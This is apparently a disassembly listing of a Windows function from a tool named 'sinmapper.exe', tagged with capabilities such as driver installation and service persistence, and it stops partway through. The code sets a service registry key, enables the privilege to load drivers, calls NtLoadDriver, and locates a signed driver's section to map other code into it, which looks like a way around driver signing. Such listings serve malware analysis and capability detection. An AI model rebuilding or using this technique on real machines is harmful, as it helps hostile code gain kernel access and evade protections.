Function at 0x140007620
Capabilities:
Enumerate pe sections
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x418]
sub rsp, 0x4f0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov r15, rdx
mov qword [rbp - 0x60], rdx
xor esi, esi
mov r12d, esi
mov dword [rbp - 0x30], esi
mov dword [rbp + 0x18], esi
mov r13, 0xffffffffffffffff
mov r14d, 4
cmp ecx, r14d
jne 0x140007821
mov rcx, qword [rdx + 8]
mov qword [rbp - 0x10], rcx
mov rax, r13
inc rax
cmp byte [rcx + rax], sil
jne 0x140007692
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.1400043c0
nop
mov dword [rbp - 0x30], 0xc1
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x68]
call fcn.140004900
nop
mov dword [rbp - 0x30], 0xc3
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400076e8
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp + 0x20]
call fcn.14000b0c0
nop
mov r12d, 0x7c7
mov dword [rbp - 0x30], r12d
mov rbx, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
mov r8, rbx
cmp rbx, 4
cmova r8, r14
lea rdx, str..sys
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007821
cmp rbx, 4
jne 0x140007821
mov rcx, qword [r15 + 0x10]
mov qword [rbp - 0x10], rcx
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140007762
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp + 0x70]
call fcn.1400043c0
nop
mov dword [rbp - 0x30], 0x67cf
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x70]
call fcn.140004900
nop
mov dword [rbp - 0x30], 0x67df
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400077b7
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp + 0x40]
call fcn.14000b0c0
mov r12d, 0x3e7ff
mov rdi, qword [rbp + 0x50]
lea rcx, [rbp + 0x40]
mov rbx, qword [rbp + 0x58]
cmp rbx, 0xf
cmova rcx, qword [rbp + 0x40]
mov r8, rdi
cmp rdi, 4
cmova r8, r14
lea rdx, str..sys
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007825
cmp rdi, 4
jne 0x140007825
xor dil, dil
jmp 0x140007828
mov rbx, qword [rbp + 0x58]
mov dil, 1
movdqa xmm7, xmmword [0x140020e70]
test r12b, 0x20
je 0x14000787e
and r12d, 0xffffffdf
cmp rbx, 0xf
jbe 0x140007875
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007870
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0x50], xmm7
mov byte [rbp + 0x40], 0
movdqa xmm6, xmmword [0x140020e60]
test r12b, 0x10
je 0x1400078e0
and r12d, 0xffffffef
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400078d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400078d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rsp + 0x58], xmm6
mov word [rsp + 0x48], si
test r12b, 8
je 0x14000793c
and r12d, 0xfffffff7
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140007930
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000792b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000792b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0x80], xmm6
mov word [rbp + 0x70], si
test r12b, 4
je 0x14000798d
and r12d, 0xfffffffb
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140007984
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000797f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000797f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0x30], xmm7
mov byte [rbp + 0x20], 0
test r12b, 2
je 0x1400079e3
and r12d, 0xfffffffd
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x1400079da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp - 0x40], xmm6
mov word [rbp - 0x50], si
test r12b, 1
je 0x140007a31
and r12d, 0xfffffffe
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140007a31
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007a2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test dil, dil
je 0x140007a47
lea rcx, str.____usage:_sinmapper.exe_driver.sys_signed_driver.sys_.section_name_n
call fcn.140001260
jmp 0x140009d6c
mov rcx, qword [r15 + 8]
mov qword [rbp - 0x10], rcx
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140007a52
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400043c0
or r12d, 0x1800
lea rcx, [rsp + 0x48]
call fcn.140005680
movzx ebx, al
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140007ad6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007ad1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007ad1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test bl, bl
jne 0x140007aef
mov rdx, qword [r15 + 8]
lea rcx, str.____driver___s__does_not_exist_n
call fcn.140001260
jmp 0x140009d6c
mov r14, qword [r15 + 0x10]
mov rbx, rsi
mov dword [rbp - 0x30], esi
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140007b5c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x30]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140007b14
test eax, eax
js 0x140007c16
mov edi, esi
cmp dword [rbx], esi
jbe 0x140007c16
nop
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rcx + rbx]
movzx edx, word [rsi + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov r8, r13
nop
inc r8
cmp byte [rdx + r8], al
jne 0x140007ba0
lea rcx, [rbp + 0x40]
call fcn.140002870
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rcx, qword [rbp + 0x40]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140007cc7
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140007c0c
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007d0e
call fcn.140010be0
inc edi
cmp edi, dword [rbx]
jb 0x140007b70
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x2b0]
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [r15 + 8]
lea rcx, [rbp + 0x2b0]
call fcn.14000ab50
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
mov rbx, qword [rbp + rcx + 0x2f8]
test rbx, rbx
sete r14b
mov byte [rbp - 8], r14b
mov byte [rbp - 7], 0
movdqu xmmword [rbp + 0x90], xmm0
xor ecx, ecx
mov qword [rbp + 0xa0], rcx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
mov rsi, qword [rbp - 8]
shr rsi, 8
mov r15b, 1
mov edi, ecx
test rbx, rbx
je 0x140007d5f
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140007d38
movzx esi, al
jmp 0x140007d3a
mov rdi, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140007d1a
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007d15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007d15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test rdi, rdi
je 0x140007c27
mov rdx, qword [r15 + 0x10]
lea rcx, str.____signed_driver___s__already_loaded_n
call fcn.140001260
jmp 0x140009d6c
xor ebx, ebx
mov r14b, 1
test r15b, r15b
jne 0x140007d5a
test rdi, rdi
je 0x140007d55
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x140007d57
xor edi, edi
mov r15b, 1
test rbx, rbx
jne 0x140007d84
test rdi, rdi
jne 0x140007d89
mov ecx, 0x5a4d
mov rax, qword [rbp + 0x90]
cmp word [rax], cx
je 0x140007e05
xor r15d, r15d
mov ecx, r15d
jmp 0x140007e1c
test rdi, rdi
jne 0x140007d64
test r14b, r14b
jne 0x140007da4
test rbx, rbx
je 0x140007dc7
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140007dc7
movzx esi, al
xor r14d, r14d
mov byte [rbp - 0x1f], sil
mov rax, qword [rbp + 0x98]
cmp rax, qword [rbp + 0xa0]
je 0x140007dcf
mov byte [rax], sil
inc qword [rbp + 0x98]
jmp 0x140007de6
xor r14d, r14d
mov ebx, r14d
jmp 0x140007da7
lea r8, [rbp - 0x1f]
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0x90]
call fcn.14000c5e0
test rbx, rbx
je 0x140007dfd
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
jne 0x140007cb4
mov rbx, r14
jmp 0x140007d3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
mov r15d, 0
cmovne rcx, r15
mov qword [rbp - 0x70], rcx
cmp dword [rcx], 0x4550
je 0x140007e39
lea rcx, str.____invalid_nt_signature_of_target_file_n
call fcn.140001260
jmp 0x140009d0b
mov edi, dword [rcx + 0x50]
mov dword [rbp - 0x78], edi
mov rax, qword [rbp - 0x60]
mov rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
mov r8, r13
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140007e60
lea rcx, [rsp + 0x68]
call fcn.140002870
mov r9d, edi
mov r8, rbx
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x150]
call fcn.140006240
nop
cmp dword [rbp + 0x198], 0
jne 0x140007ea6
lea rcx, str.____failed_to_get_info_for_potential_driver._n
call fcn.140001260
jmp 0x140009cfe
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x70]
call fcn.14000bb50
mov qword [rbp - 0x28], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x28]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140007ef2
mov bl, 1
jmp 0x140007f65
mov qword [rbp + 0x18], r15
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
lea r8, [rbp + 0x18]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140007f1b
mov bl, 1
jmp 0x140007f65
mov dword [rbp - 0x10], 1
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0xc], rax
mov dword [rbp - 4], 2
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x10
lea r8, [rbp - 0x10]
xor edx, edx
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140007f59
mov bl, 1
jmp 0x140007f65
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140007fab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007fa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
lea rdi, [0x140026110]
test bl, bl
je 0x140007fbe
mov r14d, r15d
jmp 0x140008468
lea rax, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rax, qword [rbp + 0x150]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x160]
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp + 0xa8]
call fcn.1400043c0
or r12d, 0xc0000
mov dword [rbp - 0x30], r12d
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], rdi
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x40]
call fcn.140005530
bts r12d, 0x14
mov dword [rbp - 0x30], r12d
cmp dword [rbp - 0x10], 0
jne 0x140009dbf
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova rax, qword [rbp + 0x40]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp - 8], rax
call fcn.1400101c0
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x10], xmm0
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, [rbp + 0x70]
call fcn.14000b0c0
or r12d, 0xe00000
mov dword [rbp - 0x30], r12d
lea r8, [rbp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14000b380
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp - 0x10]
call fcn.140002870
nop
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp - 0x10]
call fcn.140002740
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
lea r8, [rbp + 0x18]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140008147
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140008140
inc rdx
mov rcx, qword [rbp - 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000813b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000824e
call fcn.140010be0
mov bl, 1
jmp 0x14000825f
mov byte [rbp - 0x1f], 1
mov edi, 4
mov dword [rsp + 0x28], edi
lea rax, [rbp - 0x1f]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008105
mov byte [rbp + 0x10], 3
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008105
mov byte [rbp - 0x1e], 3
mov dword [rsp + 0x28], edi
lea rax, [rbp - 0x1e]
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008105
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x1400081e5
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140008105
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000825a
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008255
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008255
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test ebx, ebx
setne bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000829f
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000829a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000829a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rsp + 0x58], xmm7
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400082eb
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400082e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400082e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0x80], xmm7
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x14000833a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008335
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008335
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
movdqu xmmword [rbp + 0x50], xmm6
mov word [rbp + 0x40], r15w
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x14000838d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008388
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008388
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
test bl, bl
je 0x140008399
mov r14d, r15d
jmp 0x140008468
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x20]
call fcn.140002870
nop
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp + 0x20]
call fcn.140002740
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x110]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000845f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000845a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000845a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010be0
mov r14d, r15d
test ebx, ebx
sete r14b
lea r15, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova r15, qword [rbp + 0x170]
xor r12d, r12d
mov ebx, r12d
mov dword [rbp - 0x30], r12d
lea r9, [rbp - 0x30]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400084ec
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x30]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp - 0x30]
mov r8d, dword [rbp - 0x30]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400084a4
test eax, eax
js 0x1400085a6
mov edi, r12d
cmp dword [rbx], r12d
jbe 0x1400085a6
mov eax, edi
imul rcx, rax, 0x128
lea rsi, [rbx + rcx]
movzx eax, word [rsi + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140008530
lea rcx, [rbp + 0x40]
call fcn.140002870
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rcx, qword [rbp + 0x40]
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400089b4
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000859c
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008597
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400089fb
call fcn.140010be0
inc edi
cmp edi, dword [rbx]
jb 0x140008500
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r15d, r15d
mov edi, r15d
cmp r14d, 1
ja 0x140009cd7
test rdi, rdi
je 0x140009cd7
movaps xmm0, xmmword [rbp + 0x170]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmm1, xmmword [rbp + 0x180]
movaps xmmword [rbp + 0xf0], xmm1
mov r9d, r14d
mov r8, rdi
lea rdx, [rbp + 0xe0]
lea rcx, str.___loaded___s__at___p__with_result__0x_x__n
call fcn.140001260
mov r8d, dword [rbp + 0x190]
lea r14, [rdi + r8]
mov qword [rbp - 0x58], r14
mov qword [rsp + 0x20], r14
mov r9d, dword [rbp + 0x194]
mov rdx, qword [rbp - 0x60]
mov rdx, qword [rdx + 0x18]
lea rcx, str.___target_section___s__offset__0x_x__size__0x_x__map_start___p__n_n
call fcn.140001260
mov r13d, 4
mov rax, qword gs:[0x58]
add r13, qword [rax]
mov qword [rbp - 0x68], r13
mov eax, dword [r13]
cmp dword [0x140026ee8], eax
jle 0x1400087c9
lea rcx, [0x140026ee8]
call fcn.140010f40
cmp dword [0x140026ee8], 0xffffffff
jne 0x1400087c9
mov rbx, r15
mov dword [rbp + 0x18], r15d
lea r9, [rbp + 0x18]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400086dd
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x18]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x18]
mov r8d, dword [rbp + 0x18]
mov rdx, rax
mov ecx, 0xb
